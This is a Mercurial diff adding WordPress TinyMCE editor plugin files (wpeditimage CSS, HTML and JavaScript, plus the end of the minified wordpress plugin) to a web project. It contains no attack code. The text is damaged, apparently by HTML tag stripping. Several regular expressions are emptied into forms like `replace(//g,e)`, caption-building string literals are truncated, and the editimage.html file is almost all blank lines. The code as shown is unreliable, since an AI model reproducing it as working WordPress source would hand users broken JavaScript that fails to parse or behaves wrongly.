h,f,g,b,i,e=tinyMCE.activeEditor;if(/^(mceItemFlash|mceItemShockWave|mceItemWindowsMedia|mceItemQuickTime|mceItemRealMedia)$/.test(j.className)){return}h=e.dom.getParent(j,"p");f=e.dom.getParent(j,"dl");g=e.dom.getParent(j,"div");if(f&&g){b=e.dom.hasClass(f,d)?"alignnone":d;f.className=f.className.replace(/align[^ '"]+\s?/g,"");e.dom.addClass(f,b);i=(b=="aligncenter")?e.dom.addClass(g,"mceIEcenter"):e.dom.removeClass(g,"mceIEcenter")}else{if(h){b=e.dom.hasClass(j,d)?"alignnone":d;j.className=j.className.replace(/align[^ '"]+\s?/g,"");e.dom.addClass(j,b);if(b=="aligncenter"){e.dom.setStyle(h,"textAlign","center")}else{if(h.style&&h.style.textAlign=="center"){e.dom.setStyle(h,"textAlign","")}}}}e.execCommand("mceRepaint")},_resizeIframe:function(c,e,b){var d=c.getContentAreaContainer().firstChild;a.setStyle(d,"height",d.clientHeight+b);c.theme.deltaHeight+=b},_handleMoreBreak:function(c,d){var e,b;e='$1';b='';c.onInit.add(function(){c.dom.loadCSS(d+"/css/content.css")});c.onPostRender.add(function(){if(c.theme.onResolveName){c.theme.onResolveName.add(function(f,g){if(g.node.nodeName=="IMG"){if(c.dom.hasClass(g.node,"mceWPmore")){g.name="wpmore"}if(c.dom.hasClass(g.node,"mceWPnextpage")){g.name="wppage"}}})}});c.onBeforeSetContent.add(function(f,g){g.content=g.content.replace(//g,e);g.content=g.content.replace(//g,b)});c.onPostProcess.add(function(f,g){if(g.get){g.content=g.content.replace(/]+>/g,function(i){if(i.indexOf('class="mceWPmore')!==-1){var h,j=(h=i.match(/alt="(.*?)"/))?h[1]:"";i=""}if(i.indexOf('class="mceWPnextpage')!==-1){i=""}return i})}});c.onNodeChange.add(function(g,f,h){f.setActive("wp_page",h.nodeName==="IMG"&&g.dom.hasClass(h,"mceWPnextpage"));f.setActive("wp_more",h.nodeName==="IMG"&&g.dom.hasClass(h,"mceWPmore"))})}});tinymce.PluginManager.add("wordpress",tinymce.plugins.WordPress)})(); \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/plugins/wordpress/img/audio.gif Binary file web/wp-includes/js/tinymce/plugins/wordpress/img/audio.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/plugins/wordpress/img/embedded.png Binary file web/wp-includes/js/tinymce/plugins/wordpress/img/embedded.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/plugins/wordpress/img/help.gif Binary file web/wp-includes/js/tinymce/plugins/wordpress/img/help.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/plugins/wordpress/img/image.gif Binary file web/wp-includes/js/tinymce/plugins/wordpress/img/image.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/plugins/wordpress/img/media.gif Binary file web/wp-includes/js/tinymce/plugins/wordpress/img/media.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/plugins/wordpress/img/more.gif Binary file web/wp-includes/js/tinymce/plugins/wordpress/img/more.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/plugins/wordpress/img/more_bug.gif Binary file web/wp-includes/js/tinymce/plugins/wordpress/img/more_bug.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/plugins/wordpress/img/page.gif Binary file web/wp-includes/js/tinymce/plugins/wordpress/img/page.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/plugins/wordpress/img/page_bug.gif Binary file web/wp-includes/js/tinymce/plugins/wordpress/img/page_bug.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/plugins/wordpress/img/toolbars.gif Binary file web/wp-includes/js/tinymce/plugins/wordpress/img/toolbars.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/plugins/wordpress/img/trans.gif Binary file web/wp-includes/js/tinymce/plugins/wordpress/img/trans.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/plugins/wordpress/img/video.gif Binary file web/wp-includes/js/tinymce/plugins/wordpress/img/video.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/plugins/wpeditimage/css/editimage-rtl.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/tinymce/plugins/wpeditimage/css/editimage-rtl.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,68 @@ + +body#media-upload ul#sidemenu { + left: auto; + right: 0; +} + +#basic .align .field label { + display: block; + float: right; + padding: 0 24px 0 0; + margin: 5px 3px 5px 5px; +} + +.align .field input { + display: block; + float: right; + margin: 5px 15px 5px 0; +} + +tr.image-size label { + margin: 0; +} + +tr.image-size input { + margin: 3px 15px 0 5px; +} + +.image-align-none-label, +.image-align-left-label, +.image-align-center-label, +.image-align-right-label { + background-position: center right; +} + +#media-upload .describe th.label { + text-align: right; +} + +.show-align, +.alignright, +#img_size { + float: left; +} + +tr.image-size label, +tr.image-size input, +#img_dim label, +#img_dim input, +#img_prop label, +#img_prop input, +#img_size_div, +.alignleft { + float: right; +} + +#img_dim label, +#img_prop label { + margin: 5px 0pt; +} + +#img_dim input, +#img_prop input { + margin: 0 5px 0 10px; +} + +#img_size_title { + text-align: left; +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/plugins/wpeditimage/css/editimage.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/tinymce/plugins/wpeditimage/css/editimage.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,343 @@ + +html, body { + background-color: #fff; + margin: 0; + padding: 0; +} + +.submit input, +.button, +.button-primary, +.button-secondary, +.button-highlighted { + font-family: "Lucida Grande", "Lucida Sans Unicode", Tahoma, Verdana, sans-serif; + text-decoration: none; + font-size: 11px !important; + line-height: 16px; + padding: 2px 8px; + cursor: pointer; + border-width: 1px; + border-style: solid; + -moz-border-radius: 11px; + -khtml-border-radius: 11px; + -webkit-border-radius: 11px; + border-radius: 11px; + -moz-box-sizing: content-box; + -webkit-box-sizing: content-box; + -khtml-box-sizing: content-box; + box-sizing: content-box; +} + +a.button { + padding: 4px 8px; +} + +textarea, +input, +select { + font: 13px Verdana, Arial, Helvetica, sans-serif; + margin: 1px; + padding: 3px; +} + +body, td { + font: 13px "Lucida Grande", "Lucida Sans Unicode", Tahoma, Verdana, sans-serif; +} + +abbr.required { + color: #FF0000; + text-align: left; +} + +img.alignright, +.alignright { + float: right; +} + +img.alignleft, +.alignleft { + float: left; +} + +img.aligncenter { + display: block; + margin-left: auto; + margin-right: auto; +} + +label { + cursor: pointer; +} + +th.label { + width: 107px; +} + +#media-upload #basic th.label { + padding: 5px 5px 5px 0; +} + +.show-align { + height: 200px; + width: 480px; + float: right; + background-color: #f1f1f1; + cursor: default; + -moz-user-select: none; + user-select: none; + overflow: hidden; +} + +#img-edit { + border: 1px solid #dfdfdf; + width: 623px; + margin: 15px auto; +} + +#media-upload .media-upload-form table.describe { + border-top-style: none; + border-top-width: 0; +} + +#img_demo_txt { + font-size: 9px; + line-height: 13px; + font-family: Monaco,"Courier New",Courier,monospace; + color: #888; +} + +#img_demo { + padding: 0; +} + +#saveeditimg { + padding: 10px 0 0 5px; + border-top: 1px solid #ccc; +} + +#sidemenu, +#sidemenu li { + list-style: none; +} + +#sidemenu li { + display: inline; +} + +#sidemenu a { + border-bottom-style: solid; + border-bottom-width: 1px; + border-top-style: solid; + border-top-width: 1px; + display: block; + float: left; + height: 28px; + line-height: 28px; + text-decoration: none; + text-align: center; + white-space: nowrap; + margin: 0; + padding: 0pt 7px; +} + +#sidemenu a.current { + -moz-border-radius-topleft: 4px; + -khtml-border-top-left-radius: 4px; + -webkit-border-top-left-radius: 4px; + border-top-left-radius: 4px; + -moz-border-radius-topright: 4px; + -khtml-border-top-right-radius: 4px; + -webkit-border-top-right-radius: 4px; + border-top-right-radius: 4px; + border-style:solid; + border-width:1px; + font-weight:normal; +} + +#adv_settings .field label { + padding: 0 5px 5px; +} + +#media-upload h3 { + clear: both; + padding: 0pt 0pt 3px; + border-bottom-style: solid; + border-bottom-width: 1px; + font-family: Georgia,"Times New Roman",Times,serif; + font-size: 20px; + font-weight: normal; + line-height: normal; + margin: 0 0 10px -4px; + padding: 15px 0 3px; + border-bottom-color: #DADADA; + color: #5A5A5A; +} + +#img_dim #width, +#img_dim #height, +#img_prop #border, +#img_prop #vspace, +#img_prop #hspace { + width: 36px; +} + +#img_dim abbr { + padding: 0 4px; +} + +#show_align_sp { + width: 115px; +} + +#img_dim input, +#img_prop input { + margin-right: 10px; +} + +#basic .align .field label { + padding: 0 0 0 24px; +} + +#basic { + padding-top: 2px; +} + +td { + padding: 2px 0; +} + +#img_size { + float: right; + text-align: center; + cursor: pointer; + background-color: #f1f1f1; + padding: 5px 0; + width: 45px; +} + +#img_size div { + font-size: 10px; + padding: 2px; + border: 1px solid #f1f1f1; + line-height: 15px; + height: 15px; + -moz-border-radius: 3px; + -khtml-border-radius: 3px; + -webkit-border-radius: 3px; + border-radius: 3px; + color: #07273E; +} + +#img_size div#s100 { + border-color: #A3A3A3; + background-color: #E5E5E5; +} + +#img_size_div { + width: 100px; + float: left; + cursor: default; +} + +#img_size_title { + margin: 0 7px 5px; + text-align: right; + font-weight: bold; +} + +#img_align_td { + padding: 2px 0 8px; +} + +#media-upload tr.align td.field { + text-align: center; +} + +.describe td { + vertical-align: middle; +} + +#media-upload .describe th.label { + padding-top: .5em; + text-align: left; +} + +#media-upload .describe { + border-top-width: 1px; + border-top-style: solid; + padding: 5px; + width: 100%; + clear: both; + cursor: default; +} + +form { + margin: 1em; +} + +.describe input[type="text"], +.describe textarea { + width: 460px; + border: 1px solid #dfdfdf; +} + + +.media-upload-form label, +.media-upload-form legend { + font-weight: bold; + font-size: 13px; + color: #464646; +} + +.align .field label { + display: inline; + padding: 0 0 0 28px; + margin: 0 1em 0 0; +} +.image-align-none-label { + background: url(../../../../../../wp-admin/images/align-none.png) no-repeat center left; +} + +.image-align-left-label { + background: url(../../../../../../wp-admin/images/align-left.png) no-repeat center left; +} + +.image-align-center-label { + background: url(../../../../../../wp-admin/images/align-center.png) no-repeat center left; +} + +.image-align-right-label { + background: url(../../../../../../wp-admin/images/align-right.png) no-repeat center left; +} + +div#media-upload-header { + margin: 0; + padding: 0 5px; + font-weight: bold; + position: relative; + border-bottom-width: 1px; + border-bottom-style: solid; + height: 2.5em; +} + +body#media-upload ul#sidemenu { + font-weight: normal; + margin: 0 5px; + position: relative; + left: 0px; + bottom: -4px; +} + +div#media-upload-error { + margin: 1em; + font-weight: bold; +} + +* html #sidemenu li { + zoom: 100%; +} + +* html #sidemenu a { + height: 27px; + line-height: 26px; +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/plugins/wpeditimage/editimage.html --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/tinymce/plugins/wpeditimage/editimage.html Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,275 @@ + + + + + + + + + + + + + + + + + + +
    +
    +
    +
    {#wpeditimage.size}
    +
    +
    {#wpeditimage.s130}
    +
    {#wpeditimage.s120}
    +
    {#wpeditimage.s110}
    +
    {#wpeditimage.s100}
    +
    {#wpeditimage.s90}
    +
    {#wpeditimage.s80}
    +
    {#wpeditimage.s70}
    +
    {#wpeditimage.s60}
    +
    +
    +
    + + + Lorem ipsum dolor sit amet consectetuer velit pretium euismod ipsum enim. Mi cursus at a mollis senectus id arcu gravida quis urna. Sed et felis id tempus Morbi mauris tincidunt enim In mauris. Pede eu risus velit libero natoque enim lorem adipiscing ipsum consequat. In malesuada et sociis tincidunt tempus pellentesque cursus convallis ipsum Suspendisse. Risus In ac quis ut Nunc convallis laoreet ante Suspendisse Nam. Amet amet urna condimentum Vestibulum sem at Curabitur lorem et cursus. Sodales tortor fermentum leo dui habitant Nunc Sed Vestibulum. + Ut lorem In penatibus libero id ipsum sagittis nec elit Sed. Condimentum eget Vivamus vel consectetuer lorem molestie turpis amet tellus id. Condimentum vel ridiculus Fusce sed pede Nam nunc sodales eros tempor. Sit lacus magna dictumst Curabitur fringilla auctor id vitae wisi facilisi. Fermentum eget turpis felis velit leo Nunc Proin orci molestie Praesent. Curabitur tellus scelerisque suscipit ut sem amet cursus mi Morbi eu. Donec libero Vestibulum augue et mollis accumsan ornare condimentum In enim. Leo eget ac consectetuer quis condimentum malesuada. + Condimentum commodo et Lorem fringilla malesuada libero volutpat sem tellus enim. Tincidunt sed at Aenean nec nonummy porttitor Nam Sed Nulla ut. Auctor leo In aliquet Curabitur eros et velit Quisque justo morbi. Et vel mauris sit nulla semper vitae et quis at dui. Id at elit laoreet justo eu mauris Quisque et interdum pharetra. Nullam accumsan interdum Maecenas condimentum quis quis Fusce a sollicitudin Sed. Non Quisque Vivamus congue porttitor non semper ipsum porttitor quis vel. Donec eros lacus volutpat et tincidunt sem convallis id venenatis sit. Consectetuer odio. + Semper faucibus Morbi nulla convallis orci Aliquam Sed porttitor et Pellentesque. Venenatis laoreet lorem id a a Morbi augue turpis id semper. Arcu volutpat ac mauris Vestibulum fringilla Aenean condimentum nibh sed id. Sagittis eu lacus orci urna tellus tellus pretium Curabitur dui nunc. Et nibh eu eu nibh adipiscing at lorem Vestibulum adipiscing augue. Magna convallis Phasellus dolor malesuada Curabitur ornare adipiscing tellus Aliquam tempus. Id Aliquam Integer augue Nulla consectetuer ac Donec Curabitur tincidunt et. Id vel Nunc amet lacus dui magna ridiculus penatibus laoreet Duis. Enim sagittis nibh quis Nulla nec laoreet vel Maecenas mattis vel. + +
    + +
    + + + + + + + + + + + + + + + + + + + + + + + +
    + + + + + + + + + + + + + +
    + + + +
    + + + +
    + + +
    + + + +

    {#wpeditimage.link_help}

    +
    + + + +
    + + + + +
    +
    +
    + + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/plugins/wpeditimage/editor_plugin.dev.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/tinymce/plugins/wpeditimage/editor_plugin.dev.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,207 @@ + +(function() { + tinymce.create('tinymce.plugins.wpEditImage', { + + init : function(ed, url) { + var t = this; + + t.url = url; + t._createButtons(); + + // Register the command so that it can be invoked by using tinyMCE.activeEditor.execCommand('...'); + ed.addCommand('WP_EditImage', function() { + var el = ed.selection.getNode(), vp = tinymce.DOM.getViewPort(), H = vp.h, W = ( 720 < vp.w ) ? 720 : vp.w, cls = ed.dom.getAttrib(el, 'class'); + + if ( cls.indexOf('mceItem') != -1 || cls.indexOf('wpGallery') != -1 || el.nodeName != 'IMG' ) + return; + + tb_show('', url + '/editimage.html?ver=321&TB_iframe=true'); + tinymce.DOM.setStyles('TB_window', { + 'width':( W - 50 )+'px', + 'height':( H - 45 )+'px', + 'margin-left':'-'+parseInt((( W - 50 ) / 2),10) + 'px' + }); + + if ( ! tinymce.isIE6 ) { + tinymce.DOM.setStyles('TB_window', { + 'top':'20px', + 'marginTop':'0' + }); + } + + tinymce.DOM.setStyles('TB_iframeContent', { + 'width':( W - 50 )+'px', + 'height':( H - 75 )+'px' + }); + tinymce.DOM.setStyle( ['TB_overlay','TB_window','TB_load'], 'z-index', '999999' ); + }); + + ed.onInit.add(function(ed) { + tinymce.dom.Event.add(ed.getBody(), 'dragstart', function(e) { + if ( !tinymce.isGecko && e.target.nodeName == 'IMG' && ed.dom.getParent(e.target, 'dl.wp-caption') ) + return tinymce.dom.Event.cancel(e); + }); + }); + + ed.onMouseUp.add(function(ed, e) { + if ( tinymce.isWebKit || tinymce.isOpera ) + return; + + if ( ed.dom.getParent(e.target, 'div.mceTemp') || ed.dom.is(e.target, 'div.mceTemp') ) { + window.setTimeout(function(){ + var ed = tinyMCE.activeEditor, n = ed.selection.getNode(), DL = ed.dom.getParent(n, 'dl.wp-caption'); + + if ( DL && n.width != ( parseInt(ed.dom.getStyle(DL, 'width'), 10) - 10 ) ) { + ed.dom.setStyle(DL, 'width', parseInt(n.width, 10) + 10); + ed.execCommand('mceRepaint'); + } + }, 100); + } + }); + + ed.onMouseDown.add(function(ed, e) { + var p; + + if ( e.target.nodeName == 'IMG' && ed.dom.getAttrib(e.target, 'class').indexOf('mceItem') == -1 ) { + ed.plugins.wordpress._showButtons(e.target, 'wp_editbtns'); + if ( tinymce.isGecko && (p = ed.dom.getParent(e.target, 'dl.wp-caption')) && ed.dom.hasClass(p.parentNode, 'mceTemp') ) + ed.selection.select(p.parentNode); + } + }); + + ed.onKeyPress.add(function(ed, e) { + var DL, DIV, P; + + if ( e.keyCode == 13 && (DL = ed.dom.getParent(ed.selection.getNode(), 'DL')) && ed.dom.hasClass(DL, 'wp-caption') ) { + P = ed.dom.create('p', {}, ' '); + if ( (DIV = DL.parentNode) && DIV.nodeName == 'DIV' ) + ed.dom.insertAfter( P, DIV ); + else + ed.dom.insertAfter( P, DL ); + + if ( P.firstChild ) + ed.selection.select(P.firstChild); + else + ed.selection.select(P); + + tinymce.dom.Event.cancel(e); + return false; + } + }); + + ed.onBeforeSetContent.add(function(ed, o) { + o.content = t._do_shcode(o.content); + }); + + ed.onPostProcess.add(function(ed, o) { + if (o.get) + o.content = t._get_shcode(o.content); + }); + }, + + _do_shcode : function(co) { + return co.replace(/\[(?:wp_)?caption([^\]]+)\]([\s\S]+?)\[\/(?:wp_)?caption\][\s\u00a0]*/g, function(a,b,c){ + var id, cls, w, cap, div_cls; + + b = b.replace(/\\'|\\'|\\'/g, ''').replace(/\\"|\\"/g, '"'); + c = c.replace(/\\'|\\'/g, ''').replace(/\\"/g, '"'); + id = b.match(/id=['"]([^'"]+)/i); + cls = b.match(/align=['"]([^'"]+)/i); + w = b.match(/width=['"]([0-9]+)/); + cap = b.match(/caption=['"]([^'"]+)/i); + + id = ( id && id[1] ) ? id[1] : ''; + cls = ( cls && cls[1] ) ? cls[1] : 'alignnone'; + w = ( w && w[1] ) ? w[1] : ''; + cap = ( cap && cap[1] ) ? cap[1] : ''; + if ( ! w || ! cap ) return c; + + div_cls = (cls == 'aligncenter') ? 'mceTemp mceIEcenter' : 'mceTemp'; + + return '
    '+c+'
    '+cap+'
    '; + }); + }, + + _get_shcode : function(co) { + return co.replace(/
    \s*]+)>\s*]+>([\s\S]+?)<\/dt>\s*]+>(.+?)<\/dd>\s*<\/dl>\s*<\/div>\s*/gi, function(a,b,c,cap){ + var id, cls, w; + + id = b.match(/id=['"]([^'"]+)/i); + cls = b.match(/class=['"]([^'"]+)/i); + w = c.match(/width=['"]([0-9]+)/); + + id = ( id && id[1] ) ? id[1] : ''; + cls = ( cls && cls[1] ) ? cls[1] : 'alignnone'; + w = ( w && w[1] ) ? w[1] : ''; + + if ( ! w || ! cap ) return c; + cls = cls.match(/align[^ '"]+/) || 'alignnone'; + cap = cap.replace(/<\S[^<>]*>/gi, '').replace(/'/g, ''').replace(/"/g, '"'); + + return '[caption id="'+id+'" align="'+cls+'" width="'+w+'" caption="'+cap+'"]'+c+'[/caption]'; + }); + }, + + _createButtons : function() { + var t = this, ed = tinyMCE.activeEditor, DOM = tinymce.DOM, editButton, dellButton; + + DOM.remove('wp_editbtns'); + + DOM.add(document.body, 'div', { + id : 'wp_editbtns', + style : 'display:none;' + }); + + editButton = DOM.add('wp_editbtns', 'img', { + src : t.url+'/img/image.png', + id : 'wp_editimgbtn', + width : '24', + height : '24', + title : ed.getLang('wpeditimage.edit_img') + }); + + tinymce.dom.Event.add(editButton, 'mousedown', function(e) { + var ed = tinyMCE.activeEditor; + ed.windowManager.bookmark = ed.selection.getBookmark('simple'); + ed.execCommand("WP_EditImage"); + }); + + dellButton = DOM.add('wp_editbtns', 'img', { + src : t.url+'/img/delete.png', + id : 'wp_delimgbtn', + width : '24', + height : '24', + title : ed.getLang('wpeditimage.del_img') + }); + + tinymce.dom.Event.add(dellButton, 'mousedown', function(e) { + var ed = tinyMCE.activeEditor, el = ed.selection.getNode(), p; + + if ( el.nodeName == 'IMG' && ed.dom.getAttrib(el, 'class').indexOf('mceItem') == -1 ) { + if ( (p = ed.dom.getParent(el, 'div')) && ed.dom.hasClass(p, 'mceTemp') ) + ed.dom.remove(p); + else if ( (p = ed.dom.getParent(el, 'A')) && p.childNodes.length == 1 ) + ed.dom.remove(p); + else + ed.dom.remove(el); + + ed.execCommand('mceRepaint'); + return false; + } + }); + }, + + getInfo : function() { + return { + longname : 'Edit Image', + author : 'WordPress', + authorurl : 'http://wordpress.org', + infourl : '', + version : "1.0" + }; + } + }); + + tinymce.PluginManager.add('wpeditimage', tinymce.plugins.wpEditImage); +})(); diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/plugins/wpeditimage/editor_plugin.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/tinymce/plugins/wpeditimage/editor_plugin.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1 @@ +(function(){tinymce.create("tinymce.plugins.wpEditImage",{init:function(a,b){var c=this;c.url=b;c._createButtons();a.addCommand("WP_EditImage",function(){var h=a.selection.getNode(),f=tinymce.DOM.getViewPort(),g=f.h,d=(720
    '+k+'
    '+h+"
    "})},_get_shcode:function(a){return a.replace(/
    \s*]+)>\s*]+>([\s\S]+?)<\/dt>\s*]+>(.+?)<\/dd>\s*<\/dl>\s*<\/div>\s*/gi,function(g,d,j,h){var i,f,e;i=d.match(/id=['"]([^'"]+)/i);f=d.match(/class=['"]([^'"]+)/i);e=j.match(/width=['"]([0-9]+)/);i=(i&&i[1])?i[1]:"";f=(f&&f[1])?f[1]:"alignnone";e=(e&&e[1])?e[1]:"";if(!e||!h){return j}f=f.match(/align[^ '"]+/)||"alignnone";h=h.replace(/<\S[^<>]*>/gi,"").replace(/'/g,"'").replace(/"/g,""");return'[caption id="'+i+'" align="'+f+'" width="'+e+'" caption="'+h+'"]'+j+"[/caption]"})},_createButtons:function(){var b=this,a=tinyMCE.activeEditor,d=tinymce.DOM,e,c;d.remove("wp_editbtns");d.add(document.body,"div",{id:"wp_editbtns",style:"display:none;"});e=d.add("wp_editbtns","img",{src:b.url+"/img/image.png",id:"wp_editimgbtn",width:"24",height:"24",title:a.getLang("wpeditimage.edit_img")});tinymce.dom.Event.add(e,"mousedown",function(g){var f=tinyMCE.activeEditor;f.windowManager.bookmark=f.selection.getBookmark("simple");f.execCommand("WP_EditImage")});c=d.add("wp_editbtns","img",{src:b.url+"/img/delete.png",id:"wp_delimgbtn",width:"24",height:"24",title:a.getLang("wpeditimage.del_img")});tinymce.dom.Event.add(c,"mousedown",function(i){var f=tinyMCE.activeEditor,g=f.selection.getNode(),h;if(g.nodeName=="IMG"&&f.dom.getAttrib(g,"class").indexOf("mceItem")==-1){if((h=f.dom.getParent(g,"div"))&&f.dom.hasClass(h,"mceTemp")){f.dom.remove(h)}else{if((h=f.dom.getParent(g,"A"))&&h.childNodes.length==1){f.dom.remove(h)}else{f.dom.remove(g)}}f.execCommand("mceRepaint");return false}})},getInfo:function(){return{longname:"Edit Image",author:"WordPress",authorurl:"http://wordpress.org",infourl:"",version:"1.0"}}});tinymce.PluginManager.add("wpeditimage",tinymce.plugins.wpEditImage)})(); \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/plugins/wpeditimage/img/delete.png Binary file web/wp-includes/js/tinymce/plugins/wpeditimage/img/delete.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/plugins/wpeditimage/img/image.png Binary file web/wp-includes/js/tinymce/plugins/wpeditimage/img/image.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/plugins/wpeditimage/js/editimage.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/tinymce/plugins/wpeditimage/js/editimage.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,607 @@ + +var tinymce = null, tinyMCEPopup, tinyMCE; + +tinyMCEPopup = { + init: function() { + var t = this, w, ti, li, q, i, it; + + li = ('' + document.location.search).replace(/^\?/, '').split('&'); + q = {}; + for (i=0; i' ); + } + }, + + I : function(e) { + return document.getElementById(e); + }, + + current : '', + link : '', + link_rel : '', + target_value : '', + current_size_sel : 's100', + width : '', + height : '', + align : '', + img_alt : '', + + setTabs : function(tab) { + var t = this; + + if ( 'current' == tab.className ) return false; + t.I('div_advanced').style.display = ( 'tab_advanced' == tab.id ) ? 'block' : 'none'; + t.I('div_basic').style.display = ( 'tab_basic' == tab.id ) ? 'block' : 'none'; + t.I('tab_basic').className = t.I('tab_advanced').className = ''; + tab.className = 'current'; + return false; + }, + + img_seturl : function(u) { + var t = this, rel = t.I('link_rel').value; + + if ( 'current' == u ) { + t.I('link_href').value = t.current; + t.I('link_rel').value = t.link_rel; + } else { + t.I('link_href').value = t.link; + if ( rel ) { + rel = rel.replace( /attachment|wp-att-[0-9]+/gi, '' ); + t.I('link_rel').value = tinymce.trim(rel); + } + } + }, + + imgAlignCls : function(v) { + var t = this, cls = t.I('img_classes').value; + + t.I('img_demo').className = t.align = v; + + cls = cls.replace( /align[^ "']+/gi, '' ); + cls += (' ' + v); + cls = cls.replace( /\s+/g, ' ' ).replace( /^\s/, '' ); + + if ( 'aligncenter' == v ) { + t.I('hspace').value = ''; + t.updateStyle('hspace'); + } + + t.I('img_classes').value = cls; + }, + + showSize : function(el) { + var t = this, demo = t.I('img_demo'), w = t.width, h = t.height, id = el.id || 's100', size; + + size = parseInt(id.substring(1)) / 200; + demo.width = Math.round(w * size); + demo.height = Math.round(h * size); + + t.showSizeClear(); + el.style.borderColor = '#A3A3A3'; + el.style.backgroundColor = '#E5E5E5'; + }, + + showSizeSet : function() { + var t = this; + + if ( (t.width * 1.3) > parseInt(t.preloadImg.width) ) { + var s130 = t.I('s130'), s120 = t.I('s120'), s110 = t.I('s110'); + + s130.onclick = s120.onclick = s110.onclick = null; + s130.onmouseover = s120.onmouseover = s110.onmouseover = null; + s130.style.color = s120.style.color = s110.style.color = '#aaa'; + } + }, + + showSizeRem : function() { + var t = this, demo = t.I('img_demo'), f = document.forms[0]; + + demo.width = Math.round(f.width.value * 0.5); + demo.height = Math.round(f.height.value * 0.5); + t.showSizeClear(); + t.I(t.current_size_sel).style.borderColor = '#A3A3A3'; + t.I(t.current_size_sel).style.backgroundColor = '#E5E5E5'; + + return false; + }, + + showSizeClear : function() { + var divs = this.I('img_size').getElementsByTagName('div'); + + for ( i = 0; i < divs.length; i++ ) { + divs[i].style.borderColor = '#f1f1f1'; + divs[i].style.backgroundColor = '#f1f1f1'; + } + }, + + imgEditSize : function(el) { + var t = this, f = document.forms[0]; + + if ( ! t.preloadImg || ! t.preloadImg.width || ! t.preloadImg.height ) return; + var W = parseInt(t.preloadImg.width), H = parseInt(t.preloadImg.height), w = t.width || W, h = t.height || H, id = el.id || 's100'; + + size = parseInt(id.substring(1)) / 100; + + w = Math.round(w * size); + h = Math.round(h * size); + + f.width.value = Math.min(W, w); + f.height.value = Math.min(H, h); + + t.current_size_sel = id; + t.demoSetSize(); + }, + + demoSetSize : function(img) { + var demo = this.I('img_demo'), f = document.forms[0]; + + demo.width = f.width.value ? Math.round(f.width.value * 0.5) : ''; + demo.height = f.height.value ? Math.round(f.height.value * 0.5) : ''; + }, + + demoSetStyle : function() { + var f = document.forms[0], demo = this.I('img_demo'), dom = tinyMCEPopup.editor.dom; + + if (demo) { + dom.setAttrib(demo, 'style', f.img_style.value); + dom.setStyle(demo, 'width', ''); + dom.setStyle(demo, 'height', ''); + } + }, + + origSize : function() { + var t = this, f = document.forms[0], el = t.I('s100'); + + f.width.value = t.width = t.preloadImg.width; + f.height.value = t.height = t.preloadImg.height; + t.showSizeSet(); + t.demoSetSize(); + t.showSize(el); + }, + + init : function() { + var ed = tinyMCEPopup.editor, h; + + h = document.body.innerHTML; + + // Replace a=x with a="x" in IE + if (tinymce.isIE) + h = h.replace(/ (value|title|alt)=([^"][^\s>]+)/gi, ' $1="$2"') + + document.body.innerHTML = ed.translate(h); + window.setTimeout( function(){wpImage.setup();}, 100 ); + }, + + setup : function() { + var t = this, h, c, el, id, link, fname, f = document.forms[0], ed = tinyMCEPopup.editor, d = t.I('img_demo'), dom = tinyMCEPopup.dom, DL, caption = ''; + document.dir = tinyMCEPopup.editor.getParam('directionality',''); + + if ( tinyMCEPopup.editor.getParam('wpeditimage_disable_captions', false) ) + t.I('cap_field').style.display = 'none'; + + tinyMCEPopup.restoreSelection(); + el = ed.selection.getNode(); + if (el.nodeName != 'IMG') return; + + f.img_src.value = d.src = link = ed.dom.getAttrib(el, 'src'); + ed.dom.setStyle(el, 'float', ''); + t.getImageData(); + c = ed.dom.getAttrib(el, 'class'); + + if ( DL = dom.getParent(el, 'dl') ) { + var dlc = ed.dom.getAttrib(DL, 'class'); + dlc = dlc.match(/align[^ "']+/i); + if ( dlc && ! dom.hasClass(el, dlc) ) { + c += ' '+dlc; + tinymce.trim(c); + } + + tinymce.each(DL.childNodes, function(e) { + if ( e.nodeName == 'DD' && dom.hasClass(e, 'wp-caption-dd') ) { + caption = e.innerHTML; + return; + } + }); + } + + f.img_cap.value = caption; + f.img_title.value = ed.dom.getAttrib(el, 'title'); + f.img_alt.value = ed.dom.getAttrib(el, 